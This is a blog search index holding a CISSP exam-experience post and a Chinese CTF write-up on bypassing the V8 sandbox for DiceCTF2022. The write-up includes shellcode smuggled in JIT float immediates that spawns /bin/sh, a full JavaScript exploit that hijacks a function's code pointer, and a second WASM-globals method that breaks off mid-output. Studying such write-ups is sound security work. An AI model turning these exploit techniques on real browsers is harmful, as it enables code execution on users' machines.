-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathsearch.xml
More file actions
570 lines (271 loc) · 296 KB
/
Copy pathsearch.xml
File metadata and controls
570 lines (271 loc) · 296 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>CISSP 认证过程分享</title>
<link href="/2023/08/17/cissp-certification-process-sharing/"/>
<url>/2023/08/17/cissp-certification-process-sharing/</url>
<content type="html"><![CDATA[<p>最近跟风考了个 CISSP ,前后花了大概20多天,分享下过程。</p><h1 id="报名"><a href="#报名" class="headerlink" title="报名"></a>报名</h1><p>直接在 ISC 官网找 CISSP,单次考试 $749,补考需要再交 $749。</p><p>最近 ISC 有 “考试安心保障” 活动, +$199 可以多一次补考的机会,怕一次过不去,我买了这个总价 $948。</p><ul><li><a href="https://www.isc2.org/landing/exam-peace-of-mind" target="_blank" rel="noopener">https://www.isc2.org/landing/exam-peace-of-mind</a></li></ul><p>虽然最后我没用到补考,但还是建议没信心的同学可以考虑下这个。</p><h1 id="学习资源"><a href="#学习资源" class="headerlink" title="学习资源"></a>学习资源</h1><ul><li><p>《CISSP官方学习指南(第8版)》,也称 OSG,为什么不是最新第9版?因为这本书自20年到我手上,已经在某个箱子底下压了2年。</p></li><li><p><a href="https://firmianay.gitbook.io/cissp-notes/" target="_blank" rel="noopener">https://firmianay.gitbook.io/cissp-notes/</a> firmianay大佬的总结归纳,虽然不是百分百全,但也很好用了,有几个域我没来得及看纸质书,直接看的这个学的。</p></li><li><p>铭学在线 <a href="https://exam.maxstu.com/h5/100000/" target="_blank" rel="noopener">https://exam.maxstu.com/h5/100000/</a> ,这是用来刷题的,题目质量还可以,看完一章拿来巩固下,还自带错题集。</p></li></ul><h1 id="学习心得"><a href="#学习心得" class="headerlink" title="学习心得"></a>学习心得</h1><p>OSG 能看完就尽量看完,一定要看,推荐纸质书,方便笔记。</p><p>书后面的练习要做,并且能完全理解。</p><p>书刷完以后,可以考虑二刷下 firmianay 的笔记,看完一个域做对应的铭学里的题。</p><p>铭学的题质量不错,还带有解析,务必理解。</p><p>然后就可以考虑刷模拟题了,模拟题网上资源应该不少,各位自己想办法。</p><p>可能你会找到翻译很烂的模拟题,做下来正确率也不高。不用怀疑,考试的题目就这水平,就刷题吧,遇到无法理解的 google 搜一下英文原题,一般都能搜到解释,可以 google hack 一下 <code>examtopics.com</code>,里面有不少 CISSP 的考题。</p><p>据说模拟题刷到正确率 60% 就能去考试了,我感觉是差不多。</p><p>因为我给自己排的时间比较紧,在考试前的最后两天才把所有域的知识刷完,然后刷了一天的题,就匆匆忙忙的就去考试了。</p><p>模拟题大概做了 100 多题,发现正确率很低,可能就 50% 左右,主要原因是翻译的题目看的很难受,题意很难理解,还特地问了下朋友考试是不是就这样子,得到肯定的答案后,考试前一晚都没睡好,一直刷题刷到2点。</p><h1 id="关于题目"><a href="#关于题目" class="headerlink" title="关于题目"></a>关于题目</h1><p>书后的习题以及铭学的题是非常友好的,题目题意选项都是能比较容易就理解的。</p><p>真实考题比较糟心,有不少翻译很难理解,需要自己看英语原题的,平时做题尽量对照着看下英语锻炼下。</p><p>我看到不少题是有争议的,因为在不同场景下的最佳实践是不一样的,可能多个选项都是对的。当然,也有可能考点藏的比较深,多思考一下。</p><p>遇到中英文都无法理解的题,就机选吧,不要在考试的时候搞自己心态(这很重要)。</p><p>有些题目可能有多个正确答案,选你觉得最合适的就行,也不用太纠结。</p><h1 id="考试当天"><a href="#考试当天" class="headerlink" title="考试当天"></a>考试当天</h1><p>我选的考场是上海徐汇区的腾飞大厦。</p><p>本来准备住考场附近,关注了下酒店价格有点小离谱,决定还是住家里,考试当天打个车。</p><p>6点从松江的家里出发,7点到腾飞大厦。上2楼,闸机刷脸上楼,来太早了工作人员都没来,在门外等了半个小时。</p><p>7点半开始入场,做考前讲解,寄存物品(一人一柜),身份验证。</p><p>接近8点进入考场,坐下以后就可以开始考试。</p><p>考场备了隔音耳机,效果不错。</p><p>考试过程可以离场喝水吃东西,跟监考的工作人员说一声就行。</p><p>考试的时间非常充裕,所以我做到150题的时候离场休息了,实在是坐太久了屁股疼 Orz。</p><p>估摸着休息了有20分钟,又回去战斗了。</p><p>我出考场的时候大概 11:30 ,快得有点超预期了。</p><p>跟着指引在门口打印了成绩单,看到单子上恭喜两个字小小激动了一下。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>我平时的工作是挖洞搞研究,对安全风向管理、资产管理、运营这种和技术关联不大的领域接触的少,了解的少,通过 CISSP 的认证,填补了这块知识的空缺,以后也许可能会用到吧。</p>]]></content>
<tags>
<tag> 日常 </tag>
<tag> 心得 </tag>
</tags>
</entry>
<entry>
<title>V8 沙盒绕过</title>
<link href="/2022/02/27/v8-sandbox-escape/"/>
<url>/2022/02/27/v8-sandbox-escape/</url>
<content type="html"><![CDATA[<blockquote><p>本文首发于跳跳糖 <a href="https://tttang.com/archive/1443/" target="_blank" rel="noopener">https://tttang.com/archive/1443/</a> </p></blockquote><h1 id="V8-沙箱绕过"><a href="#V8-沙箱绕过" class="headerlink" title="V8 沙箱绕过"></a>V8 沙箱绕过</h1><p>这是 DiceCTF2022 的一道题 memory hole。</p><p>题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,结束。</p><p>但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写,能访问的范围是 array 基址后连续的 4G 地址空间。</p><p>绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。</p><p>【题目地址】 <a href="https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz" target="_blank" rel="noopener">https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz</a></p><h1 id="指针压缩"><a href="#指针压缩" class="headerlink" title="指针压缩"></a>指针压缩</h1><p>64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 <code>js_base + offset</code> 的形式,只在内存当中存储 <code>offset</code> ,寄存器 <code>$14</code> 存储 <code>js_base</code> ,其中 <code>offset</code> 是 32 位的。JS 对象在解引用时,会从 <code>$r14 + offset</code> 的地址加载。因此 <code>js_base + offset</code> 被限制在很小的一个区域,无法访问任意地址。</p><p>如下,没有开启“指针压缩”的 <code>ArrayBuffer</code> 内存布局:</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled.png" alt="Untitled"></p><p>开启后:</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%201.png" alt="Untitled"></p><p>绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。<code>ArrayBuffer</code> 的 <code>BackingStore</code> 是个堆外指针,可以直接修改 <code>BackingStore</code> 为任意地址进而实现任意地址读写。</p><h1 id="V8-沙箱"><a href="#V8-沙箱" class="headerlink" title="V8 沙箱"></a>V8 沙箱</h1><p>V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 <code>WebAssembly</code> 的 <code>RWX</code> 页指针和 <code>ArrayBuffer</code> 的 <code>BackingStore</code> 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。</p><p><a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#heading=h.xzptrog8pyxf" target="_blank" rel="noopener">V8 Sandbox - High-Level Design Doc</a></p><p>如下,未开启 V8 沙箱时的 <code>ArrayBuffer</code> 对象内存布局:</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%202.png" alt="Untitled"></p><p>开启沙箱后,<code>BackingStore</code> 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%203.png" alt="Untitled"></p><p>此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。</p><h1 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h1><h2 id="方法一:利用立即数写-shellcode"><a href="#方法一:利用立即数写-shellcode" class="headerlink" title="方法一:利用立即数写 shellcode"></a>方法一:利用立即数写 shellcode</h2><p><em>(参考 <a href="https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html" target="_blank" rel="noopener">https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html</a>)</em></p><h3 id="JSFunction"><a href="#JSFunction" class="headerlink" title="JSFunction"></a>JSFunction</h3><p>先 DebugPrint 一个 <code>JSFunction</code> 的内存结构:</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%204.png" alt="Untitled"></p><p>这里有一个 <code>code</code> 字段,它指向了函数要执行的汇编指令,处于 <code>r-x</code> 页。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%205.png" alt="Untitled"></p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%206.png" alt="Untitled"></p><p>用 gdb 修改 <code>code</code> 字段 <code>0x41414141</code> 。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%207.png" alt="Untitled"></p><p>继续执行,出现异常,此时 <code>rcx</code> 是 <code>0x2a0c41414141</code> ,即基址(0x2a0c00000000)+偏移(0x41414141)。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%208.png" alt="Untitled"></p><p>看这段汇编,如果我们令<code>[rcx + 0x1b] & 0x20000000 = 0</code> ,<code>rip</code> 就会在之后被设置为 <code>rcx+0x3f</code> ,从而劫持 <code>rip</code> ,这个条件是比较容易满足的。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%209.png" alt="Untitled"></p><h3 id="使用立即数构造-shellcode"><a href="#使用立即数构造-shellcode" class="headerlink" title="使用立即数构造 shellcode"></a>使用立即数构造 shellcode</h3><p>JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 <code>0x350f00000000</code> 。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2010.png" alt="Untitled"></p><p>这个函数返回的是一个浮点数组,在汇编里,每个浮点数以<strong>立即数</strong>的形式存在,<strong>立即数</strong>占 8 个字节。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2011.png" alt="Untitled"></p><p>立即数同样可以被识别为汇编指令,很容易想到可以利用这个<strong>立即数</strong>来布置 shellcode,只要将 shellcode 片段用 <code>jmp</code> 连接起来,就能将一个个立即数串联起来,实现完整的功能。</p><p><code>jmp</code> 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。</p><p>参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context(arch='amd64')</span><br><span class="line">jmp = b'\xeb\x0c'</span><br><span class="line">shell = u64(b'/bin/sh\x00')</span><br><span class="line"></span><br><span class="line">def make_double(code):</span><br><span class="line">assert len(code) <= 6</span><br><span class="line">print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])</span><br><span class="line"></span><br><span class="line">make_double(asm("push %d; pop rax" % (shell >> 0x20)))</span><br><span class="line">make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))</span><br><span class="line">make_double(asm("shl rax, 0x20; xor esi, esi"))</span><br><span class="line">make_double(asm("add rax, rdx; xor edx, edx; push rax"))</span><br><span class="line">code = asm("mov rdi, rsp; push 59; pop rax; syscall")</span><br><span class="line">assert len(code) <= 8</span><br><span class="line">print(hex(u64(code.ljust(8, b'\x90')))[2:])</span><br><span class="line"></span><br><span class="line">"""</span><br><span class="line">Output:</span><br><span class="line">ceb580068732f68</span><br><span class="line">ceb5a6e69622f68</span><br><span class="line">cebf63120e0c148</span><br><span class="line">ceb50d231d00148</span><br><span class="line">50f583b6ae78948</span><br><span class="line"></span><br><span class="line">IEEE:</span><br><span class="line">1.95538254221075331056310651818E-246</span><br><span class="line">1.95606125582421466942709801013E-246</span><br><span class="line">1.99957147195425773436923756715E-246</span><br><span class="line">1.95337673326740932133292175341E-246</span><br><span class="line">2.63486047652296056448306022844E-284</span><br><span class="line">"""</span><br></pre></td></tr></table></figure><p>生成出来的 shellcode 是通过系统调用执行 <code>/bin/sh</code> 。</p><p>跟一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">gef➤ job 0x3de400045681</span><br><span class="line">0x3de400045681: [Code]</span><br><span class="line"> - map: 0x3de40800263d <Map></span><br><span class="line"> - code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)></span><br><span class="line">kind = TURBOFAN</span><br><span class="line">stack_slots = 6</span><br><span class="line">compiler = turbofan</span><br><span class="line">address = 0x3de400045681</span><br><span class="line"></span><br><span class="line">Instructions (size = 388)</span><br><span class="line">0x3de4000456c0 0 8b59d0 movl rbx,[rcx-0x30]</span><br><span class="line">...</span><br><span class="line">0x3de400045735 75 c5fb114107 vmovsd [rcx+0x7],xmm0</span><br><span class="line">0x3de40004573a 7a 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68</span><br><span class="line">0x3de400045744 84 c4c1f96ec2 vmovq xmm0,r10</span><br><span class="line">0x3de400045749 89 c5fb11410f vmovsd [rcx+0xf],xmm0</span><br><span class="line">0x3de40004574e 8e 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68</span><br><span class="line">0x3de400045758 98 c4c1f96ec2 vmovq xmm0,r10</span><br><span class="line">0x3de40004575d 9d c5fb114117 vmovsd [rcx+0x17],xmm0</span><br><span class="line">0x3de400045762 a2 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148</span><br><span class="line">0x3de40004576c ac c4c1f96ec2 vmovq xmm0,r10</span><br><span class="line">0x3de400045771 b1 c5fb11411f vmovsd [rcx+0x1f],xmm0</span><br><span class="line">0x3de400045776 b6 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148</span><br><span class="line">0x3de400045780 c0 c4c1f96ec2 vmovq xmm0,r10</span><br><span class="line">0x3de400045785 c5 c5fb114127 vmovsd [rcx+0x27],xmm0</span><br><span class="line">0x3de40004578a ca 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>以指令格式查看这几个立即数,可以看到这几个立即数是通过 <code>jmp</code> 串联起来了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gef➤ x/3i 0x3de40004573c</span><br><span class="line"> 0x3de40004573c:push 0x68732f</span><br><span class="line"> 0x3de400045741:pop rax</span><br><span class="line"> 0x3de400045742:jmp 0x3de400045750</span><br><span class="line">gef➤ x/3i 0x3de400045750</span><br><span class="line"> 0x3de400045750:push 0x6e69622f</span><br><span class="line"> 0x3de400045755:pop rdx</span><br><span class="line"> 0x3de400045756:jmp 0x3de400045764</span><br><span class="line">gef➤ x/3i 0x3de400045764</span><br><span class="line"> 0x3de400045764:shl rax,0x20</span><br><span class="line"> 0x3de400045768:xor esi,esi</span><br><span class="line"> 0x3de40004576a:jmp 0x3de400045778</span><br><span class="line">gef➤ x/4i 0x3de400045778</span><br><span class="line"> 0x3de400045778:add rax,rdx</span><br><span class="line"> 0x3de40004577b:xor edx,edx</span><br><span class="line"> 0x3de40004577d:push rax</span><br><span class="line"> 0x3de40004577e:jmp 0x3de40004578c</span><br><span class="line">gef➤ x/4i 0x3de40004578C</span><br><span class="line"> 0x3de40004578c:mov rdi,rsp</span><br><span class="line"> 0x3de40004578f:push 0x3b</span><br><span class="line"> 0x3de400045791:pop rax</span><br><span class="line"> 0x3de400045792:syscall</span><br></pre></td></tr></table></figure><h3 id="执行"><a href="#执行" class="headerlink" title="执行"></a>执行</h3><p>接下来就是劫持 <code>rip</code> 。</p><p>修改 JSFunction 对象的 <code>code</code> 字段,令 <code>code + 0x3f = 0x3de40004573c</code> 。</p><p><code>code</code> 的计算方式 <code>0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c</code> ,即原 <code>code</code> 值加 <code>0x7c</code> ,具体各位自行体会,原作的 <code>jitAddr + 0xb3 - 0x3f</code> 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。</p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2012.png" alt="Untitled"></p><h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line">function dp(x) {}// %DebugPrint(x);}</span><br><span class="line">const print = () => {};</span><br><span class="line">const assert = function (b, msg)</span><br><span class="line">{</span><br><span class="line">if (!b)</span><br><span class="line">throw Error(msg);</span><br><span class="line">};</span><br><span class="line">const __buf8 = new ArrayBuffer(8);</span><br><span class="line">const __dvCvt = new DataView(__buf8);</span><br><span class="line">function d2u(val)</span><br><span class="line">{ //double ==> Uint64</span><br><span class="line">__dvCvt.setFloat64(0, val, true);</span><br><span class="line">return __dvCvt.getUint32(0, true) +</span><br><span class="line">__dvCvt.getUint32(4, true) * 0x100000000;</span><br><span class="line">}</span><br><span class="line">function u2d(val)</span><br><span class="line">{ //Uint64 ==> double</span><br><span class="line">const tmp0 = val % 0x100000000;</span><br><span class="line">__dvCvt.setUint32(0, tmp0, true);</span><br><span class="line">__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);</span><br><span class="line">return __dvCvt.getFloat64(0, true);</span><br><span class="line">}</span><br><span class="line">function d22u(val)</span><br><span class="line">{ //double ==> 2 * Uint32</span><br><span class="line">__dvCvt.setFloat64(0, val, true);</span><br><span class="line">}</span><br><span class="line">const hex = (x) => ("0x" + x.toString(16));</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">One weird thing is that as long as a function contains floating const,</span><br><span class="line">allocated array object cannot reach the function object by OOB;</span><br><span class="line">therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.</span><br><span class="line">*/</span><br><span class="line">const foo = ()=></span><br><span class="line">{</span><br><span class="line">return [</span><br><span class="line"> 1.0,</span><br><span class="line">1.95538254221075331056310651818E-246,</span><br><span class="line">1.95606125582421466942709801013E-246,</span><br><span class="line">1.99957147195425773436923756715E-246,</span><br><span class="line">1.95337673326740932133292175341E-246,</span><br><span class="line">2.63486047652296056448306022844E-284];</span><br><span class="line">}</span><br><span class="line">for (let i = 0; i < 0x10000; i++) {</span><br><span class="line">foo();foo();foo();foo();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">const f = () => 123;</span><br><span class="line">const arr = [1.1];</span><br><span class="line">const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align</span><br><span class="line">const ua = new Uint32Array(2);</span><br><span class="line"></span><br><span class="line">arr.setLength(36);</span><br><span class="line">d22u(arr[3]);</span><br><span class="line">const fooAddr = __dvCvt.getUint32(0, true);</span><br><span class="line">const fAddr = __dvCvt.getUint32(4, true);</span><br><span class="line">print(hex(fAddr));dp(f);</span><br><span class="line">dp(ua);</span><br><span class="line"></span><br><span class="line">function readOff(off)</span><br><span class="line">{</span><br><span class="line">arr[35] = u2d((off-7) * 0x100000000);</span><br><span class="line">return ua[0];</span><br><span class="line">}</span><br><span class="line">function writeOff(off, val)</span><br><span class="line">{</span><br><span class="line">arr[35] = u2d((off-7) * 0x100000000);</span><br><span class="line">ua[0] = val;</span><br><span class="line">}</span><br><span class="line">print(hex(fooAddr));dp(foo);</span><br><span class="line">jitAddr = readOff(fooAddr + 0x17);</span><br><span class="line">print('jitAddr');</span><br><span class="line">print(hex(jitAddr));</span><br><span class="line">print('rcx + 0x1b:') // rcx = jitAddr</span><br><span class="line">print(hex(jitAddr + 0x1b));</span><br><span class="line">print(hex(readOff(jitAddr + 0x1b)));</span><br><span class="line">// %SystemBreak();</span><br><span class="line">// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);</span><br><span class="line">writeOff(fAddr + 0x17, jitAddr + 0x7c);</span><br><span class="line">print(readOff(fooAddr + 0x17));</span><br><span class="line">dp(foo);</span><br><span class="line">// %SystemBreak();</span><br><span class="line">f();</span><br></pre></td></tr></table></figure><h2 id="方法二:利用-WasmInstance-的全局变量"><a href="#方法二:利用-WasmInstance-的全局变量" class="headerlink" title="方法二:利用 WasmInstance 的全局变量"></a>方法二:利用 WasmInstance 的全局变量</h2><p><em>(参考:<a href="https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/" target="_blank" rel="noopener">https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/</a>)</em></p><p>尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。</p><h3 id="全局变量"><a href="#全局变量" class="headerlink" title="全局变量"></a>全局变量</h3><p>WasmInstance 对象的 <code>imported_mutable_globals</code> 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。</p><p>下面是一个 WasmInstance 对象:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]</span><br><span class="line"> - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81></span><br><span class="line"> - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1></span><br><span class="line"> - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21></span><br><span class="line"> - native_context: 0x3b17081c2c75 <NativeContext[266]></span><br><span class="line"> - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]></span><br><span class="line"> - imported_function_refs: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - managed_native_allocations: 0x3b1708048e61 <Foreign></span><br><span class="line"> - managed object maps: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - feedback vectors: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - memory_start: (nil)</span><br><span class="line"> - memory_size: 0</span><br><span class="line"> - imported_function_targets: 0x560e9be53750</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x560e9be53770</span><br><span class="line"> - ...</span><br></pre></td></tr></table></figure><p>查看内存,<code>imported_mutable_globals</code> 确实还是64位。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gef➤ x/20xg 0x3b17081d2f3d-1</span><br><span class="line">0x3b17081d2f3c:0x08002249082064390x0800224908002249</span><br><span class="line">0x3b17081d2f4c:0x00000000080022490x0000000000000000</span><br><span class="line">0x3b17081d2f5c:0x00000000000000000x0000560e9bddc640</span><br><span class="line">0x3b17081d2f6c:0x0000560e9be537500x0000000000000000</span><br><span class="line">0x3b17081d2f7c:0x00000000000000000x0000000000000000</span><br><span 